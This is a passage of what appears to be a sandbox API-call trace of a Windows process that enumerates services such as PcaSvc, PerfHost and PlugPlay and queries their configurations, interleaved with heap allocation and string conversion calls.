lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osppsvc.exe", lpUsedDefaultChar=0x0) returned 11 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2pimsvc", cchWideChar=8, lpMultiByteStr=0x54d160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2pimsvc", lpUsedDefaultChar=0x0) returned 8 [0028.042] OpenServiceW (hSCManager=0x6637d8, lpServiceName="p2pimsvc", dwDesiredAccess=0x1) returned 0x663968 [0028.042] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.042] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.042] GetLastError () returned 0x7a [0028.042] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p2psvc", cchWideChar=6, lpMultiByteStr=0x54d1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p2psvc", lpUsedDefaultChar=0x0) returned 6 [0028.043] OpenServiceW (hSCManager=0x6637d8, lpServiceName="p2psvc", dwDesiredAccess=0x1) returned 0x6638c8 [0028.043] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.043] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.043] GetLastError () returned 0x7a [0028.043] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x15e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d1f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pcasvc", cchWideChar=6, lpMultiByteStr=0x54d1f0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pcasvc", lpUsedDefaultChar=0x0) returned 6 [0028.058] OpenServiceW (hSCManager=0x6637d8, lpServiceName="PcaSvc", dwDesiredAccess=0x1) returned 0x6639b8 [0028.058] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.058] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.059] GetLastError () returned 0x7a [0028.059] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x15c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d238, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peerdistsvc", cchWideChar=11, lpMultiByteStr=0x54d238, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peerdistsvc", lpUsedDefaultChar=0x0) returned 11 [0028.059] OpenServiceW (hSCManager=0x6637d8, lpServiceName="PeerDistSvc", dwDesiredAccess=0x1) returned 0x6638a0 [0028.059] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.059] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.059] GetLastError () returned 0x7a [0028.059] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x11a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d280, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost", cchWideChar=8, lpMultiByteStr=0x54d280, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost", lpUsedDefaultChar=0x0) returned 8 [0028.060] OpenServiceW (hSCManager=0x6637d8, lpServiceName="PerfHost", dwDesiredAccess=0x1) returned 0x663968 [0028.060] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.060] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.060] GetLastError () returned 0x7a [0028.062] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x124, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.062] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x596eb0 [0028.062] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x596f38 [0028.062] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x596eb0) returned 1 [0028.062] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x596f38) returned 1 [0028.062] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x596f38 [0028.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.062] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d2c8 [0028.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="perfhost.exe", cchWideChar=12, lpMultiByteStr=0x54d2c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="perfhost.exe", lpUsedDefaultChar=0x0) returned 12 [0028.062] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d280 [0028.062] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d2c8) returned 1 [0028.062] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d280) returned 1 [0028.062] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x596f38) returned 1 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d280 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x596f38 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x596eb0 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x596fc0 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597048 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5970d0 [0028.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d2c8 [0028.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x54d2c8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0028.063] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d310 [0028.063] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d2c8) returned 1 [0028.063] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d310) returned 1 [0028.063] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5970d0) returned 1 [0028.063] OpenServiceW (hSCManager=0x6637d8, lpServiceName="pla", dwDesiredAccess=0x1) returned 0x6638c8 [0028.063] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.063] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.063] GetLastError () returned 0x7a [0028.064] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5970d0 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597158 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5970d0) returned 1 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597158) returned 1 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597158 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5970d0 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597158) returned 1 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5970d0) returned 1 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5970d0 [0028.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d310 [0028.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d310, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d2c8 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d310) returned 1 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d2c8) returned 1 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5970d0) returned 1 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d2c8 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5970d0 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597158 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5971e0 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597268 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5972f0 [0028.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d310 [0028.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plugplay", cchWideChar=8, lpMultiByteStr=0x54d310, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plugplay", lpUsedDefaultChar=0x0) returned 8 [0028.064] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d358 [0028.064] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d310) returned 1 [0028.065] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d358) returned 1 [0028.065] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5972f0) returned 1 [0028.065] OpenServiceW (hSCManager=0x6637d8, lpServiceName="PlugPlay", dwDesiredAccess=0x1) returned 0x6639b8 [0028.065] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.065] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.065] GetLastError () returned 0x7a [0028.065] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x10a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.065] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5972f0 [0028.065] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597378 [0028.065] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5972f0) returned 1 [0028.065] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597378) returned 1 [0028.065] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597378 [0028.065] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5972f0 [0028.065] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597378) returned 1 [0028.065] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5972f0) returned 1 [0028.065] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5972f0 [0028.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d358 [0028.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d358, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d310 [0028.066] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d358) returned 1 [0028.066] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d310) returned 1 [0028.066] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5972f0) returned 1 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d310 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5972f0 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597378 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597400 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597488 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597510 [0028.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d358 [0028.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x54d358, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpautoreg", lpUsedDefaultChar=0x0) returned 11 [0028.066] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597ec0 [0028.066] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d358) returned 1 [0028.066] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ec0) returned 1 [0028.066] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597510) returned 1 [0028.066] OpenServiceW (hSCManager=0x6637d8, lpServiceName="PNRPAutoReg", dwDesiredAccess=0x1) returned 0x6638a0 [0028.066] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.066] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.067] GetLastError () returned 0x7a [0028.067] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x166, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597510 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597598 [0028.067] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597510) returned 1 [0028.067] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597598) returned 1 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597598 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597510 [0028.067] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597598) returned 1 [0028.067] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597510) returned 1 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597510 [0028.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d358 [0028.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54d358, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597ec0 [0028.067] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54d358) returned 1 [0028.067] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ec0) returned 1 [0028.067] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597510) returned 1 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54d358 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597510 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597598 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597620 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5976a8 [0028.067] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.068] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597ec0 [0028.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x597ec0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpsvc", lpUsedDefaultChar=0x0) returned 7 [0028.068] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f08 [0028.068] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ec0) returned 1 [0028.068] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f08) returned 1 [0028.068] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.068] OpenServiceW (hSCManager=0x6637d8, lpServiceName="PNRPsvc", dwDesiredAccess=0x1) returned 0x663968 [0028.068] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.068] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.068] GetLastError () returned 0x7a [0028.068] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x158, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.068] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.068] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5977b8 [0028.068] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.068] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5977b8) returned 1 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5977b8 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5977b8) returned 1 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597ec0 [0028.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x597ec0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597f08 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597ec0) returned 1 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597f08) returned 1 [0028.069] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x597730) returned 1 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x597ec0 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x597730 [0028.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5977b8 [0028.069] RtlAllocateHeap 